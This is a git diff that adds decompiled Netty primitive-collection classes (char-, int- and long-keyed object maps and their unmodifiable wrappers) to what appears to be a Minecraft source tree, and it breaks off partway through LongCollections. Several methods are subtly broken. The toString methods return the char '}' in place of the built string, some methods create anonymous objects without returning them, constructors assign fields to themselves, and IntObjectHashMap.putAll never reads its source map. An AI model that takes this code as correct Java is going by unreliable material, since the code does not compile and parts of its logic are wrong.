+  
+  public V remove(char key)
+  {
+    int index = indexOf(key);
+    if (index == -1) {
+      return null;
+    }
+    
+    V prev = values[index];
+    removeAt(index);
+    return toExternal(prev);
+  }
+  
+  public int size()
+  {
+    return size;
+  }
+  
+  public boolean isEmpty()
+  {
+    return size == 0;
+  }
+  
+  public void clear()
+  {
+    Arrays.fill(keys, '\000');
+    Arrays.fill(values, null);
+    size = 0;
+  }
+  
+  public boolean containsKey(char key)
+  {
+    return indexOf(key) >= 0;
+  }
+  
+
+  public boolean containsValue(Object value)
+  {
+    V v1 = toInternal(value);
+    for (V v2 : values)
+    {
+      if ((v2 != null) && (v2.equals(v1))) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  public Iterable<CharObjectMap.PrimitiveEntry<V>> entries()
+  {
+    return entries;
+  }
+  
+  public Collection<V> values()
+  {
+    new AbstractCollection()
+    {
+      public Iterator<V> iterator() {
+        new Iterator() {
+          final CharObjectHashMap<V>.PrimitiveIterator iter = new CharObjectHashMap.PrimitiveIterator(CharObjectHashMap.this, null);
+          
+          public boolean hasNext()
+          {
+            return iter.hasNext();
+          }
+          
+          public V next()
+          {
+            return iter.next().value();
+          }
+          
+          public void remove()
+          {
+            throw new UnsupportedOperationException();
+          }
+        };
+      }
+      
+      public int size()
+      {
+        return size;
+      }
+    };
+  }
+  
+
+
+
+  public int hashCode()
+  {
+    int hash = size;
+    for (char key : keys)
+    {
+
+
+
+
+
+
+      hash ^= hashCode(key);
+    }
+    return hash;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj) {
+      return true;
+    }
+    if (!(obj instanceof CharObjectMap)) {
+      return false;
+    }
+    
+    CharObjectMap other = (CharObjectMap)obj;
+    if (size != other.size()) {
+      return false;
+    }
+    for (int i = 0; i < values.length; i++) {
+      V value = values[i];
+      if (value != null) {
+        char key = keys[i];
+        Object otherValue = other.get(key);
+        if (value == NULL_VALUE) {
+          if (otherValue != null) {
+            return false;
+          }
+        } else if (!value.equals(otherValue)) {
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+  public boolean containsKey(Object key)
+  {
+    return containsKey(objectToKey(key));
+  }
+  
+  public V get(Object key)
+  {
+    return get(objectToKey(key));
+  }
+  
+  public V put(Character key, V value)
+  {
+    return put(objectToKey(key), value);
+  }
+  
+  public V remove(Object key)
+  {
+    return remove(objectToKey(key));
+  }
+  
+  public Set<Character> keySet()
+  {
+    return keySet;
+  }
+  
+  public Set<Map.Entry<Character, V>> entrySet()
+  {
+    return entrySet;
+  }
+  
+  private char objectToKey(Object key) {
+    return ((Character)key).charValue();
+  }
+  
+
+
+
+
+
+  private int indexOf(char key)
+  {
+    int startIndex = hashIndex(key);
+    int index = startIndex;
+    do
+    {
+      if (values[index] == null)
+      {
+        return -1;
+      }
+      if (key == keys[index]) {
+        return index;
+      }
+      
+    }
+    while ((index = probeNext(index)) != startIndex);
+    return -1;
+  }
+  
+
+
+
+
+
+  private int hashIndex(char key)
+  {
+    return hashCode(key) & mask;
+  }
+  
+
+
+  private static int hashCode(char key)
+  {
+    return key;
+  }
+  
+
+
+
+  private int probeNext(int index)
+  {
+    return index + 1 & mask;
+  }
+  
+
+
+  private void growSize()
+  {
+    size += 1;
+    
+    if (size > maxSize) {
+      if (keys.length == Integer.MAX_VALUE) {
+        throw new IllegalStateException("Max capacity reached at size=" + size);
+      }
+      
+
+      rehash(keys.length << 1);
+    }
+  }
+  
+
+
+
+
+
+
+  private boolean removeAt(int index)
+  {
+    size -= 1;
+    
+
+    keys[index] = '\000';
+    values[index] = null;
+    
+
+
+
+
+
+    boolean movedBack = false;
+    int nextFree = index;
+    for (int i = probeNext(index); values[i] != null; i = probeNext(i)) {
+      int bucket = hashIndex(keys[i]);
+      if (((i < bucket) && ((bucket <= nextFree) || (nextFree <= i))) || ((bucket <= nextFree) && (nextFree <= i)))
+      {
+
+        keys[nextFree] = keys[i];
+        values[nextFree] = values[i];
+        movedBack = true;
+        
+        keys[i] = '\000';
+        values[i] = null;
+        nextFree = i;
+      }
+    }
+    return movedBack;
+  }
+  
+
+
+
+  private int calcMaxSize(int capacity)
+  {
+    int upperBound = capacity - 1;
+    return Math.min(upperBound, (int)(capacity * loadFactor));
+  }
+  
+
+
+
+
+  private void rehash(int newCapacity)
+  {
+    char[] oldKeys = keys;
+    V[] oldVals = values;
+    
+    keys = new char[newCapacity];
+    
+    V[] temp = (Object[])new Object[newCapacity];
+    values = temp;
+    
+    maxSize = calcMaxSize(newCapacity);
+    mask = (newCapacity - 1);
+    
+
+    for (int i = 0; i < oldVals.length; i++) {
+      V oldVal = oldVals[i];
+      if (oldVal != null)
+      {
+
+        char oldKey = oldKeys[i];
+        int index = hashIndex(oldKey);
+        for (;;)
+        {
+          if (values[index] == null) {
+            keys[index] = oldKey;
+            values[index] = oldVal;
+            break;
+          }
+          
+
+          index = probeNext(index);
+        }
+      }
+    }
+  }
+  
+  public String toString()
+  {
+    if (isEmpty()) {
+      return "{}";
+    }
+    StringBuilder sb = new StringBuilder(4 * size);
+    sb.append('{');
+    boolean first = true;
+    for (int i = 0; i < values.length; i++) {
+      V value = values[i];
+      if (value != null) {
+        if (!first) {
+          sb.append(", ");
+        }
+        sb.append(keyToString(keys[i])).append('=').append(value == this ? "(this Map)" : toExternal(value));
+        
+        first = false;
+      }
+    }
+    return '}';
+  }
+  
+
+
+
+  protected String keyToString(char key)
+  {
+    return Character.toString(key);
+  }
+  
+  private final class EntrySet extends AbstractSet<Map.Entry<Character, V>>
+  {
+    private EntrySet() {}
+    
+    public Iterator<Map.Entry<Character, V>> iterator()
+    {
+      return new CharObjectHashMap.MapIterator(CharObjectHashMap.this, null);
+    }
+    
+    public int size()
+    {
+      return CharObjectHashMap.this.size();
+    }
+  }
+  
+  private final class KeySet extends AbstractSet<Character>
+  {
+    private KeySet() {}
+    
+    public int size()
+    {
+      return CharObjectHashMap.this.size();
+    }
+    
+    public boolean contains(Object o)
+    {
+      return containsKey(o);
+    }
+    
+    public boolean remove(Object o)
+    {
+      return remove(o) != null;
+    }
+    
+    public boolean retainAll(Collection<?> retainedKeys)
+    {
+      boolean changed = false;
+      for (Iterator<CharObjectMap.PrimitiveEntry<V>> iter = entries().iterator(); iter.hasNext();) {
+        CharObjectMap.PrimitiveEntry<V> entry = (CharObjectMap.PrimitiveEntry)iter.next();
+        if (!retainedKeys.contains(Character.valueOf(entry.key()))) {
+          changed = true;
+          iter.remove();
+        }
+      }
+      return changed;
+    }
+    
+    public void clear()
+    {
+      CharObjectHashMap.this.clear();
+    }
+    
+    public Iterator<Character> iterator()
+    {
+      new Iterator() {
+        private final Iterator<Map.Entry<Character, V>> iter = entrySet.iterator();
+        
+        public boolean hasNext()
+        {
+          return iter.hasNext();
+        }
+        
+        public Character next()
+        {
+          return (Character)((Map.Entry)iter.next()).getKey();
+        }
+        
+        public void remove()
+        {
+          iter.remove();
+        }
+      };
+    }
+  }
+  
+
+  private final class PrimitiveIterator
+    implements Iterator<CharObjectMap.PrimitiveEntry<V>>, CharObjectMap.PrimitiveEntry<V>
+  {
+    private int prevIndex = -1;
+    private int nextIndex = -1;
+    private int entryIndex = -1;
+    
+    private PrimitiveIterator() {}
+    
+    private void scanNext() { while (++nextIndex != values.length) { if (values[nextIndex] != null) {
+          break;
+        }
+      }
+    }
+    
+    public boolean hasNext()
+    {
+      if (nextIndex == -1) {
+        scanNext();
+      }
+      return nextIndex < keys.length;
+    }
+    
+    public CharObjectMap.PrimitiveEntry<V> next()
+    {
+      if (!hasNext()) {
+        throw new NoSuchElementException();
+      }
+      
+      prevIndex = nextIndex;
+      scanNext();
+      
+
+      entryIndex = prevIndex;
+      return this;
+    }
+    
+    public void remove()
+    {
+      if (prevIndex < 0) {
+        throw new IllegalStateException("next must be called before each remove.");
+      }
+      if (CharObjectHashMap.this.removeAt(prevIndex))
+      {
+
+
+        nextIndex = prevIndex;
+      }
+      prevIndex = -1;
+    }
+    
+
+
+
+    public char key()
+    {
+      return keys[entryIndex];
+    }
+    
+    public V value()
+    {
+      return CharObjectHashMap.toExternal(values[entryIndex]);
+    }
+    
+    public void setValue(V value)
+    {
+      values[entryIndex] = CharObjectHashMap.toInternal(value);
+    }
+  }
+  
+
+  private final class MapIterator
+    implements Iterator<Map.Entry<Character, V>>
+  {
+    private final CharObjectHashMap<V>.PrimitiveIterator iter = new CharObjectHashMap.PrimitiveIterator(CharObjectHashMap.this, null);
+    
+    private MapIterator() {}
+    
+    public boolean hasNext() { return iter.hasNext(); }
+    
+
+    public Map.Entry<Character, V> next()
+    {
+      if (!hasNext()) {
+        throw new NoSuchElementException();
+      }
+      
+      iter.next();
+      
+      return new CharObjectHashMap.MapEntry(CharObjectHashMap.this, CharObjectHashMap.PrimitiveIterator.access$1100(iter));
+    }
+    
+    public void remove()
+    {
+      iter.remove();
+    }
+  }
+  
+  final class MapEntry
+    implements Map.Entry<Character, V>
+  {
+    private final int entryIndex;
+    
+    MapEntry(int entryIndex)
+    {
+      this.entryIndex = entryIndex;
+    }
+    
+    public Character getKey()
+    {
+      verifyExists();
+      return Character.valueOf(keys[entryIndex]);
+    }
+    
+    public V getValue()
+    {
+      verifyExists();
+      return CharObjectHashMap.toExternal(values[entryIndex]);
+    }
+    
+    public V setValue(V value)
+    {
+      verifyExists();
+      V prevValue = CharObjectHashMap.toExternal(values[entryIndex]);
+      values[entryIndex] = CharObjectHashMap.toInternal(value);
+      return prevValue;
+    }
+    
+    private void verifyExists() {
+      if (values[entryIndex] == null) {
+        throw new IllegalStateException("The map entry has been removed");
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/collection/CharObjectMap.java b/src/minecraft/io/netty/util/collection/CharObjectMap.java
new file mode 100644
index 0000000..82c0b96
--- /dev/null
+++ b/src/minecraft/io/netty/util/collection/CharObjectMap.java
@@ -0,0 +1,26 @@
+package io.netty.util.collection;
+
+import java.util.Map;
+
+public abstract interface CharObjectMap<V>
+  extends Map<Character, V>
+{
+  public abstract V get(char paramChar);
+  
+  public abstract V put(char paramChar, V paramV);
+  
+  public abstract V remove(char paramChar);
+  
+  public abstract Iterable<PrimitiveEntry<V>> entries();
+  
+  public abstract boolean containsKey(char paramChar);
+  
+  public static abstract interface PrimitiveEntry<V>
+  {
+    public abstract char key();
+    
+    public abstract V value();
+    
+    public abstract void setValue(V paramV);
+  }
+}
diff --git a/src/minecraft/io/netty/util/collection/IntCollections.java b/src/minecraft/io/netty/util/collection/IntCollections.java
new file mode 100644
index 0000000..4751d15
--- /dev/null
+++ b/src/minecraft/io/netty/util/collection/IntCollections.java
@@ -0,0 +1,313 @@
+package io.netty.util.collection;
+
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class IntCollections
+{
+  private static final IntObjectMap<Object> EMPTY_MAP = new EmptyMap(null);
+  
+
+
+  private IntCollections() {}
+  
+
+
+  public static <V> IntObjectMap<V> emptyMap()
+  {
+    return EMPTY_MAP;
+  }
+  
+
+
+  public static <V> IntObjectMap<V> unmodifiableMap(IntObjectMap<V> map)
+  {
+    return new UnmodifiableMap(map);
+  }
+  
+  private static final class EmptyMap implements IntObjectMap<Object>
+  {
+    private EmptyMap() {}
+    
+    public Object get(int key)
+    {
+      return null;
+    }
+    
+    public Object put(int key, Object value)
+    {
+      throw new UnsupportedOperationException("put");
+    }
+    
+    public Object remove(int key)
+    {
+      return null;
+    }
+    
+    public int size()
+    {
+      return 0;
+    }
+    
+    public boolean isEmpty()
+    {
+      return true;
+    }
+    
+    public boolean containsKey(Object key)
+    {
+      return false;
+    }
+    
+
+
+    public void clear() {}
+    
+
+    public Set<Integer> keySet()
+    {
+      return Collections.emptySet();
+    }
+    
+    public boolean containsKey(int key)
+    {
+      return false;
+    }
+    
+    public boolean containsValue(Object value)
+    {
+      return false;
+    }
+    
+    public Iterable<IntObjectMap.PrimitiveEntry<Object>> entries()
+    {
+      return Collections.emptySet();
+    }
+    
+    public Object get(Object key)
+    {
+      return null;
+    }
+    
+    public Object put(Integer key, Object value)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Object remove(Object key)
+    {
+      return null;
+    }
+    
+    public void putAll(Map<? extends Integer, ?> m)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Collection<Object> values()
+    {
+      return Collections.emptyList();
+    }
+    
+    public Set<Map.Entry<Integer, Object>> entrySet()
+    {
+      return Collections.emptySet();
+    }
+  }
+  
+
+  private static final class UnmodifiableMap<V>
+    implements IntObjectMap<V>
+  {
+    private final IntObjectMap<V> map;
+    
+    private Set<Integer> keySet;
+    private Set<Map.Entry<Integer, V>> entrySet;
+    private Collection<V> values;
+    private Iterable<IntObjectMap.PrimitiveEntry<V>> entries;
+    
+    UnmodifiableMap(IntObjectMap<V> map)
+    {
+      this.map = map;
+    }
+    
+    public V get(int key)
+    {
+      return map.get(key);
+    }
+    
+    public V put(int key, V value)
+    {
+      throw new UnsupportedOperationException("put");
+    }
+    
+    public V remove(int key)
+    {
+      throw new UnsupportedOperationException("remove");
+    }
+    
+    public int size()
+    {
+      return map.size();
+    }
+    
+    public boolean isEmpty()
+    {
+      return map.isEmpty();
+    }
+    
+    public void clear()
+    {
+      throw new UnsupportedOperationException("clear");
+    }
+    
+    public boolean containsKey(int key)
+    {
+      return map.containsKey(key);
+    }
+    
+    public boolean containsValue(Object value)
+    {
+      return map.containsValue(value);
+    }
+    
+    public boolean containsKey(Object key)
+    {
+      return map.containsKey(key);
+    }
+    
+    public V get(Object key)
+    {
+      return map.get(key);
+    }
+    
+    public V put(Integer key, V value)
+    {
+      throw new UnsupportedOperationException("put");
+    }
+    
+    public V remove(Object key)
+    {
+      throw new UnsupportedOperationException("remove");
+    }
+    
+    public void putAll(Map<? extends Integer, ? extends V> m)
+    {
+      throw new UnsupportedOperationException("putAll");
+    }
+    
+    public Iterable<IntObjectMap.PrimitiveEntry<V>> entries()
+    {
+      if (entries == null) {
+        entries = new Iterable()
+        {
+          public Iterator<IntObjectMap.PrimitiveEntry<V>> iterator() {
+            return new IntCollections.UnmodifiableMap.IteratorImpl(IntCollections.UnmodifiableMap.this, map.entries().iterator());
+          }
+        };
+      }
+      
+      return entries;
+    }
+    
+    public Set<Integer> keySet()
+    {
+      if (keySet == null) {
+        keySet = Collections.unmodifiableSet(map.keySet());
+      }
+      return keySet;
+    }
+    
+    public Set<Map.Entry<Integer, V>> entrySet()
+    {
+      if (entrySet == null) {
+        entrySet = Collections.unmodifiableSet(map.entrySet());
+      }
+      return entrySet;
+    }
+    
+    public Collection<V> values()
+    {
+      if (values == null) {
+        values = Collections.unmodifiableCollection(map.values());
+      }
+      return values;
+    }
+    
+    private class IteratorImpl
+      implements Iterator<IntObjectMap.PrimitiveEntry<V>>
+    {
+      final Iterator<IntObjectMap.PrimitiveEntry<V>> iter;
+      
+      IteratorImpl()
+      {
+        this.iter = iter;
+      }
+      
+      public boolean hasNext()
+      {
+        return iter.hasNext();
+      }
+      
+      public IntObjectMap.PrimitiveEntry<V> next()
+      {
+        if (!hasNext()) {
+          throw new NoSuchElementException();
+        }
+        return new IntCollections.UnmodifiableMap.EntryImpl(IntCollections.UnmodifiableMap.this, (IntObjectMap.PrimitiveEntry)iter.next());
+      }
+      
+      public void remove()
+      {
+        throw new UnsupportedOperationException("remove");
+      }
+    }
+    
+    private class EntryImpl
+      implements IntObjectMap.PrimitiveEntry<V>
+    {
+      private final IntObjectMap.PrimitiveEntry<V> entry;
+      
+      EntryImpl()
+      {
+        this.entry = entry;
+      }
+      
+      public int key()
+      {
+        return entry.key();
+      }
+      
+      public V value()
+      {
+        return entry.value();
+      }
+      
+      public void setValue(V value)
+      {
+        throw new UnsupportedOperationException("setValue");
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/collection/IntObjectHashMap.java b/src/minecraft/io/netty/util/collection/IntObjectHashMap.java
new file mode 100644
index 0000000..1567aee
--- /dev/null
+++ b/src/minecraft/io/netty/util/collection/IntObjectHashMap.java
@@ -0,0 +1,503 @@
+package io.netty.util.collection;
+
+import java.lang.reflect.Array;
+import java.util.Arrays;
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class IntObjectHashMap<V>
+  implements IntObjectMap<V>, Iterable<IntObjectMap.Entry<V>>
+{
+  private static final int DEFAULT_CAPACITY = 11;
+  private static final float DEFAULT_LOAD_FACTOR = 0.5F;
+  private static final Object NULL_VALUE = new Object();
+  
+  private int maxSize;
+  
+  private final float loadFactor;
+  
+  private int[] keys;
+  
+  private V[] values;
+  private int size;
+  
+  public IntObjectHashMap()
+  {
+    this(11, 0.5F);
+  }
+  
+  public IntObjectHashMap(int initialCapacity) {
+    this(initialCapacity, 0.5F);
+  }
+  
+  public IntObjectHashMap(int initialCapacity, float loadFactor) {
+    if (initialCapacity < 1) {
+      throw new IllegalArgumentException("initialCapacity must be >= 1");
+    }
+    if ((loadFactor <= 0.0F) || (loadFactor > 1.0F))
+    {
+
+      throw new IllegalArgumentException("loadFactor must be > 0 and <= 1");
+    }
+    
+    this.loadFactor = loadFactor;
+    
+
+    int capacity = adjustCapacity(initialCapacity);
+    
+
+    keys = new int[capacity];
+    
+    V[] temp = (Object[])new Object[capacity];
+    values = temp;
+    
+
+    maxSize = calcMaxSize(capacity);
+  }
+  
+  private static <T> T toExternal(T value) {
+    return value == NULL_VALUE ? null : value;
+  }
+  
+  private static <T> T toInternal(T value)
+  {
+    return value == null ? NULL_VALUE : value;
+  }
+  
+  public V get(int key)
+  {
+    int index = indexOf(key);
+    return index == -1 ? null : toExternal(values[index]);
+  }
+  
+  public V put(int key, V value)
+  {
+    int startIndex = hashIndex(key);
+    int index = startIndex;
+    do
+    {
+      if (values[index] == null)
+      {
+        keys[index] = key;
+        values[index] = toInternal(value);
+        growSize();
+        return null; }
+      if (keys[index] == key)
+      {
+        V previousValue = values[index];
+        values[index] = toInternal(value);
+        return toExternal(previousValue);
+      }
+      
+    }
+    while ((index = probeNext(index)) != startIndex);
+    
+    throw new IllegalStateException("Unable to insert");
+  }
+  
+
+  private int probeNext(int index)
+  {
+    return index == values.length - 1 ? 0 : index + 1;
+  }
+  
+  public void putAll(IntObjectMap<V> sourceMap)
+  {
+    if ((sourceMap instanceof IntObjectHashMap))
+    {
+      IntObjectHashMap<V> source = (IntObjectHashMap)sourceMap;
+      for (int i = 0; i < values.length; i++) {
+        V sourceValue = values[i];
+        if (sourceValue != null) {
+          put(keys[i], sourceValue);
+        }
+      }
+      return;
+    }
+    
+
+    for (IntObjectMap.Entry<V> entry : sourceMap.entries()) {
+      put(entry.key(), entry.value());
+    }
+  }
+  
+  public V remove(int key)
+  {
+    int index = indexOf(key);
+    if (index == -1) {
+      return null;
+    }
+    
+    V prev = values[index];
+    removeAt(index);
+    return toExternal(prev);
+  }
+  
+  public int size()
+  {
+    return size;
+  }
+  
+  public boolean isEmpty()
+  {
+    return size == 0;
+  }
+  
+  public void clear()
+  {
+    Arrays.fill(keys, 0);
+    Arrays.fill(values, null);
+    size = 0;
+  }
+  
+  public boolean containsKey(int key)
+  {
+    return indexOf(key) >= 0;
+  }
+  
+  public boolean containsValue(V value)
+  {
+    V v = toInternal(value);
+    for (int i = 0; i < values.length; i++)
+    {
+      if ((values[i] != null) && (values[i].equals(v))) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  public Iterable<IntObjectMap.Entry<V>> entries()
+  {
+    return this;
+  }
+  
+  public Iterator<IntObjectMap.Entry<V>> iterator()
+  {
+    return new IteratorImpl(null);
+  }
+  
+  public int[] keys()
+  {
+    int[] outKeys = new int[size()];
+    int targetIx = 0;
+    for (int i = 0; i < values.length; i++) {
+      if (values[i] != null) {
+        outKeys[(targetIx++)] = keys[i];
+      }
+    }
+    return outKeys;
+  }
+  
+
+  public V[] values(Class<V> clazz)
+  {
+    V[] outValues = (Object[])Array.newInstance(clazz, size());
+    int targetIx = 0;
+    for (int i = 0; i < values.length; i++) {
+      if (values[i] != null) {
+        outValues[(targetIx++)] = values[i];
+      }
+    }
+    return outValues;
+  }
+  
+
+
+
+  public int hashCode()
+  {
+    int hash = size;
+    for (int i = 0; i < keys.length; i++)
+    {
+
+
+
+
+
+
+      hash ^= keys[i];
+    }
+    return hash;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj)
+      return true;
+    if (!(obj instanceof IntObjectMap)) {
+      return false;
+    }
+    
+    IntObjectMap other = (IntObjectMap)obj;
+    if (size != other.size()) {
+      return false;
+    }
+    for (int i = 0; i < values.length; i++) {
+      V value = values[i];
+      if (value != null) {
+        int key = keys[i];
+        Object otherValue = other.get(key);
+        if (value == NULL_VALUE) {
+          if (otherValue != null) {
+            return false;
+          }
+        } else if (!value.equals(otherValue)) {
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  private int indexOf(int key)
+  {
+    int startIndex = hashIndex(key);
+    int index = startIndex;
+    do
+    {
+      if (values[index] == null)
+      {
+        return -1; }
+      if (key == keys[index]) {
+        return index;
+      }
+      
+    }
+    while ((index = probeNext(index)) != startIndex);
+    return -1;
+  }
+  
+
+
+
+
+  private int hashIndex(int key)
+  {
+    return key % keys.length;
+  }
+  
+
+
+  private void growSize()
+  {
+    size += 1;
+    
+    if (size > maxSize)
+    {
+
+      rehash(adjustCapacity((int)Math.min(keys.length * 2.0D, 2.147483639E9D)));
+    } else if (size == keys.length)
+    {
+
+      rehash(keys.length);
+    }
+  }
+  
+
+
+  private static int adjustCapacity(int capacity)
+  {
+    return capacity | 0x1;
+  }
+  
+
+
+
+
+
+  private void removeAt(int index)
+  {
+    size -= 1;
+    
+
+    keys[index] = 0;
+    values[index] = null;
+    
+
+
+
+
+
+    int nextFree = index;
+    for (int i = probeNext(index); values[i] != null; i = probeNext(i)) {
+      int bucket = hashIndex(keys[i]);
+      if (((i < bucket) && ((bucket <= nextFree) || (nextFree <= i))) || ((bucket <= nextFree) && (nextFree <= i)))
+      {
+
+        keys[nextFree] = keys[i];
+        values[nextFree] = values[i];
+        
+        keys[i] = 0;
+        values[i] = null;
+        nextFree = i;
+      }
+    }
+  }
+  
+
+
+
+  private int calcMaxSize(int capacity)
+  {
+    int upperBound = capacity - 1;
+    return Math.min(upperBound, (int)(capacity * loadFactor));
+  }
+  
+
+
+
+
+  private void rehash(int newCapacity)
+  {
+    int[] oldKeys = keys;
+    V[] oldVals = values;
+    
+    keys = new int[newCapacity];
+    
+    V[] temp = (Object[])new Object[newCapacity];
+    values = temp;
+    
+    maxSize = calcMaxSize(newCapacity);
+    
+
+    for (int i = 0; i < oldVals.length; i++) {
+      V oldVal = oldVals[i];
+      if (oldVal != null)
+      {
+
+        int oldKey = oldKeys[i];
+        int startIndex = hashIndex(oldKey);
+        int index = startIndex;
+        for (;;)
+        {
+          if (values[index] == null) {
+            keys[index] = oldKey;
+            values[index] = toInternal(oldVal);
+            break;
+          }
+          
+
+          index = probeNext(index);
+        }
+      }
+    }
+  }
+  
+
+  private final class IteratorImpl
+    implements Iterator<IntObjectMap.Entry<V>>, IntObjectMap.Entry<V>
+  {
+    private int prevIndex = -1;
+    private int nextIndex = -1;
+    private int entryIndex = -1;
+    
+    private IteratorImpl() {}
+    
+    private void scanNext() { while (++nextIndex != values.length) { if (values[nextIndex] != null) {
+          break;
+        }
+      }
+    }
+    
+    public boolean hasNext()
+    {
+      if (nextIndex == -1) {
+        scanNext();
+      }
+      return nextIndex < keys.length;
+    }
+    
+    public IntObjectMap.Entry<V> next()
+    {
+      if (!hasNext()) {
+        throw new NoSuchElementException();
+      }
+      
+      prevIndex = nextIndex;
+      scanNext();
+      
+
+      entryIndex = prevIndex;
+      return this;
+    }
+    
+    public void remove()
+    {
+      if (prevIndex < 0) {
+        throw new IllegalStateException("next must be called before each remove.");
+      }
+      IntObjectHashMap.this.removeAt(prevIndex);
+      prevIndex = -1;
+    }
+    
+
+
+
+    public int key()
+    {
+      return keys[entryIndex];
+    }
+    
+    public V value()
+    {
+      return IntObjectHashMap.toExternal(values[entryIndex]);
+    }
+    
+    public void setValue(V value)
+    {
+      values[entryIndex] = IntObjectHashMap.toInternal(value);
+    }
+  }
+  
+  public String toString()
+  {
+    if (size == 0) {
+      return "{}";
+    }
+    StringBuilder sb = new StringBuilder(4 * size);
+    for (int i = 0; i < values.length; i++) {
+      V value = values[i];
+      if (value != null) {
+        sb.append(sb.length() == 0 ? "{" : ", ");
+        sb.append(keys[i]).append('=').append(value == this ? "(this Map)" : value);
+      }
+    }
+    return '}';
+  }
+}
diff --git a/src/minecraft/io/netty/util/collection/IntObjectMap.java b/src/minecraft/io/netty/util/collection/IntObjectMap.java
new file mode 100644
index 0000000..2447a90
--- /dev/null
+++ b/src/minecraft/io/netty/util/collection/IntObjectMap.java
@@ -0,0 +1,37 @@
+package io.netty.util.collection;
+
+public abstract interface IntObjectMap<V>
+{
+  public abstract V get(int paramInt);
+  
+  public abstract V put(int paramInt, V paramV);
+  
+  public abstract void putAll(IntObjectMap<V> paramIntObjectMap);
+  
+  public abstract V remove(int paramInt);
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract void clear();
+  
+  public abstract boolean containsKey(int paramInt);
+  
+  public abstract boolean containsValue(V paramV);
+  
+  public abstract Iterable<Entry<V>> entries();
+  
+  public abstract int[] keys();
+  
+  public abstract V[] values(Class<V> paramClass);
+  
+  public static abstract interface Entry<V>
+  {
+    public abstract int key();
+    
+    public abstract V value();
+    
+    public abstract void setValue(V paramV);
+  }
+}
diff --git a/src/minecraft/io/netty/util/collection/LongCollections.java b/src/minecraft/io/netty/util/collection/LongCollections.java
new file mode 100644
index 0000000..a4684a9
--- /dev/null
+++ b/src/minecraft/io/netty/util/collection/LongCollections.java
@@ -0,0 +1,313 @@
+package io.netty.util.collection;
+
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class LongCollections
+{
+  private static final LongObjectMap<Object> EMPTY_MAP = new EmptyMap(null);
+  
+
+
+  private LongCollections() {}
+  
+
+
+  public static <V> LongObjectMap<V> emptyMap()
+  {
+    return EMPTY_MAP;
+  }
+  
+
+
+  public static <V> LongObjectMap<V> unmodifiableMap(LongObjectMap<V> map)
+  {
+    return new UnmodifiableMap(map);
+  }
+  
+  private static final class EmptyMap implements LongObjectMap<Object>
+  {
+    private EmptyMap() {}
+    
+    public Object get(long key)
+    {
+      return null;
+    }
+    
+    public Object put(long key, Object value)
+    {
+      throw new UnsupportedOperationException("put");
+    }
+    
+    public Object remove(long key)
+    {
+      return null;
+    }
+    
+    public int size()
+    {
+      return 0;
+    }
+    
+    public boolean isEmpty()
+    {
+      return true;
+    }
+    
+    public boolean containsKey(Object key)
+    {
+      return false;
+    }
+    
+
+
+    public void clear() {}
+    
+
+    public Set<Long> keySet()
+    {
+      return Collections.emptySet();
+    }
+    
+    public boolean containsKey(long key)
+    {
+      return false;
+    }
+    
+    public boolean containsValue(Object value)
+    {
+      return false;
+    }
+    
+    public Iterable<LongObjectMap.PrimitiveEntry<Object>> entries()
+    {
+      return Collections.emptySet();
+    }
+    
+    public Object get(Object key)
+    {
+      return null;
+    }
+    
+    public Object put(Long key, Object value)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Object remove(Object key)
+    {
+      return null;
+    }
+    
+    public void putAll(Map<? extends Long, ?> m)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Collection<Object> values()
+    {
+      return Collections.emptyList();
+    }
+    
+    public Set<Map.Entry<Long, Object>> entrySet()
+    {
+      return Collections.emptySet();
+    }
+  }
+  
+
+  private static final class UnmodifiableMap<V>
+    implements LongObjectMap<V>
+  {
+    private final LongObjectMap<V> map;
+    
+    private Set<Long> keySet;
+    private Set<Map.Entry<Long, V>> entrySet;
+    private Collection<V> values;
+    private Iterable<LongObjectMap.PrimitiveEntry<V>> entries;
+    
+    UnmodifiableMap(LongObjectMap<V> map)
+    {
+      this.map = map;
+    }
+    
+    public V get(long key)
+    {
+      return map.get(key);
+    }
+    
+    public V put(long key, V value)
+    {
+      throw new UnsupportedOperationException("put");
+    }
+    
+    public V remove(long key)
+    {
+      throw new UnsupportedOperationException("remove");
+    }
+    
+    public int size()
+    {
+      return map.size();
+    }
+    
+    public boolean isEmpty()
+    {
+      return map.isEmpty();
+    }
+    
+    public void clear()
+    {
+      throw new UnsupportedOperationException("clear");
+    }
+    
+    public boolean containsKey(long key)
+    {
+      return map.containsKey(key);
+    }
+    
+    public boolean containsValue(Object value)
+    {
+      return map.containsValue(value);
+    }
+    
+    public boolean containsKey(Object key)
+    {
+      return map.containsKey(key);
+    }
+    
+    public V get(Object key)
+    {
+      return map.get(key);
+    }
+    
+    public V put(Long key, V value)
+    {
+      throw new UnsupportedOperationException("put");
+    }
+    
+    public V remove(Object key)
+    {
+      throw new UnsupportedOperationException("remove");
+    }
+    
+    public void putAll(Map<? extends Long, ? extends V> m)
+    {
+      throw new UnsupportedOperationException("putAll");
+    }
+    
+    public Iterable<LongObjectMap.PrimitiveEntry<V>> entries()
+    {
+      if (entries == null) {
+        entries = new Iterable()
+        {
+          public Iterator<LongObjectMap.PrimitiveEntry<V>> iterator() {
+            return new LongCollections.UnmodifiableMap.IteratorImpl(LongCollections.UnmodifiableMap.this, map.entries().iterator());
+          }
+        };
+      }
